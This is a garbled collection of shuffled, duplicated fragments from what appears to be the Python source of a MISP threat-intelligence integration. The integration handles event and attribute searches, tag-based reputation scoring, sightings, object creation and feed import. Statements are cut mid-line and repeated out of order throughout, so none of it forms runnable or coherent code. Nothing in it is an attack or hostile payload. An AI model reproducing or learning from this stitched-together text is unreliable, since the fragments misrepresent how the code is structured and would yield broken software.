\"\"\" Execute a MISP search using the 'event' controller. \"\"\" args =","found tag ids. Some tags have a field called inherited. When it is","in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in","set and will be stayed only in the malicious one (as a tag","return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for","error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully","args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port',","indicator. For the context data outputs, for every attribute we remove the \"Related","in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids","{json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit","return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file':","args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if","\"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type","= { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'},","arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context =","searches for all the events that have the tag (i.e found_tag) which caused","{tag} has been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',","occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added to","'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif","returning outputs Args: obj: object to add to MISP event_id: ID of event","'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0","'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu","= demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args:","{'domain': 'google.com'}] \"\"\" return [{k: v} for k, v in args.items()] def build_generic_object(template_name:","IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution':","json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i]","attributes found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function",") def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id')","(as a tag that was configured to be malicious is stronger than recognised","reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a valid value for","'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args))","== 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed':","if not att_id: raise DemistoException('ID or UUID not specified') sighting_args = { 'id':","event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'):","threat level id. In such case, the score will be BAD if the","score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored","build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template =","see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object Returns: list:","a timestamp from MISP response (1546713469) and converts it to human readable format","malicious one (as a tag that was configured to be malicious is stronger","the tag. \"\"\" scored_events = [] if found_tag: for attribute in all_attributes: event","event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in","event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No","in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when this is","type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl,","== 'Unknown': raise DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1","-> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid)","UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a","= demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme':","event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or","attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i])","'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete':","if no complex query found returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?'","args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] =","else: Exception(\"MISP V3 error: Please provide a valid value for the Source Reliability","found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if","demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else","attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'),","tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'):","'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0,","types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip':","event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed","if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username,","want to limit this list to include only the ID and Name fields.",":= tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag","suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability","Do nothing with warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings() # Disable","def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \"\"\" Replacing keys from","ids set and will be stayed only in the malicious one (as a","of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value):","demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid","user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))","else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute","dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return","url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential':","reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list:","galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID')","required indicator value, this function parses the response. This function goes over all","not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid","an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events =","UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] }","PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error: An event with the given","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value","event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS","calculated by the tags ids (attribute tags and event tags). Args: value (str):","requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS '''","info (name, id, threat level id) about all the events that include the","event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')]","event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id')","the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy()","to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP.","if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type,","than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in","threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in","'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider':","'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID',","args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score'","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object':","= demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid =","attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'),","id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution =","we remove the \"Related Attribute\" list and limits the tags and galaxies lists.","in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if","r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or","== 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if","make sure your MISP server url is correct.') if \"Please make sure the","correct.') if \"Please make sure the API key and the URL are correct\"","configured as suspicious nor malicious will be scored by their event's threat level","sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if not","url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id,","limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] =","which caused the indicator to be scored as malicious or suspicious. Args: all_attributes","CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\"","attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'),","'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings',","to use the Trust any certificate option.') if \"NewConnectionError\" in error: return_error('Unable to","to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build:","or attribute. is_attribute (bool): if the given UUID is an attribute's one. Otherwise","event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in found_related_events.values(): if","updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',","if found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info')","for event in events_to_human_readable: # removing those fields as they are shared by","misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents. command","page and page < 0: raise DemistoException(\"page should be zero or a positive","to the context output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: # return","add attribute\\nNew attribute: {value} was added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable,","attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified') sighting_args","arg att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID","last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance =","params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in","int]) -> str: \"\"\" Gets a timestamp from MISP response (1546713469) and converts","attribute or event, depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [","be found. Returns: list includes all the events that were detected as related","and verify all the tags are valid positive integers.\"\"\" for tag in tag_ids:","event's attribute tags ones as it is part of the event scope). If","0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else","operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search","an example for a parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list","For the context data outputs, for every attribute we remove the \"Related Attribute\"","demisto_args (dict): Demisto args new_event (MISPEvent): When this function was called from create","else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size:","'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object',","If the data is attribute's (is_event_level = false), and the tag is only","'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info',","list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object","This function goes over all the attributes that found (after limit the attributes","if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value} is not valid\")","'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID',","= demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict)","return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP search using","required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try:","MISP event object This function can be called as an independence command or","] def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on the called function\"\"\"","if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict,","'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids',","format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object","tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID':","the complex operators the original input will be returned Returns: str: dictionary created","be a list of attributes along with their events objects. Note: When limits","build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context)","'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights","args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50),","in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response)","event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag","'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description',","Please see an example for a response in test_data/reputation_command_response.json Please see an example","malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for the given attribute value","attributes along with their events objects. Note: When limits the attributes amount, we","limit: pagination_message += f\"Showing page {page} out others that may exist\" else: pagination_message","set the arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes","in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:'","if tag <= 0: raise DemistoException(f\"Tag id has to be a positive integer,","command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command ==","no tag was found, then the score is Unknown so no events should","'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1,","attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will","pagination_message += f\"Showing page {page} out others that may exist\" else: pagination_message +=","in events_to_human_readable: # removing those fields as they are shared by the events","'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id'))","if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event,","it says that it is an attribute's tag. If the data is event's","Examples are available in UT: test_build_misp_complex_filter. For more information please see build_complex_query in","attributes list by the event ids as the greater event ids are the","event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events","of the event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag","example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers = {'Accept': 'application/json'} url","in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') }","attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object):","of the indicator. For the context data outputs, for every attribute we remove","'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID':","the event scope). If the data is attribute's (is_event_level = false), and the","(bool): if set to True, will not post results to Demisto demisto_args (dict):","should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score':","set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0)","readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output +=","= replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added to MISP event","scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id","to limit this list to include only the ID and Name fields. In","if len(response_for_context) == limit: pagination_message += f\"Showing page {page} out others that may","'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS","build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter","are stronger than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag :=","return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag):","{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds","attributes are excluded from search-events output as the information is too big. User","\"\"\" After getting all the attributes which match the required indicator value, this","if limit and limit < 0: raise DemistoException(\"limit should be zero or a","== 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get(","\"\"\" Function will remove tag to given UUID of event or attribute. is_attribute","'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock',","get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type","response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not","unnecessary data, we want to limit this list to include only the ID","convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable =","for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) ->","and limit < 0: raise DemistoException(\"limit should be zero or a positive number\")","tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag)","Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def","it is set to 0 or not exists) it says that it is","have any tags configured as suspicious nor malicious will be scored by their","not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill","datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list,","event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events):","Event ID to add attribute to internal (bool): if set to True, will","related_events list Args: object_data_dict (dict): Event or attribute dict which includes tags list.","== len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.',","for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends","reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event in events_to_human_readable: #","'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy',","tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict):","def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict into a list, please","attribute's (attribute tags). \"\"\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag',","if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list","url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment})","raise DemistoException('Missing API Key. Fill in a valid key in the integration configuration.')","entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return","DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\"","if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen","\"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in","event scope). If the data is attribute's (is_event_level = false), and the tag","from MISP response (1546713469) and converts it to human readable format \"\"\" return","copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if","build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on the called function\"\"\" if given_object.get('Tag'):","filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the response of","when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] =","domain, email or ip). malicious_tag_ids (set): Tag ids should be recognised as malicious.","= arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context","event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')]","response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\"","arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids =","tags and search if found_tag is one of it's tags. If so, the","\"\"\" Gets a timestamp from MISP response (1546713469) and converts it to human","command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = 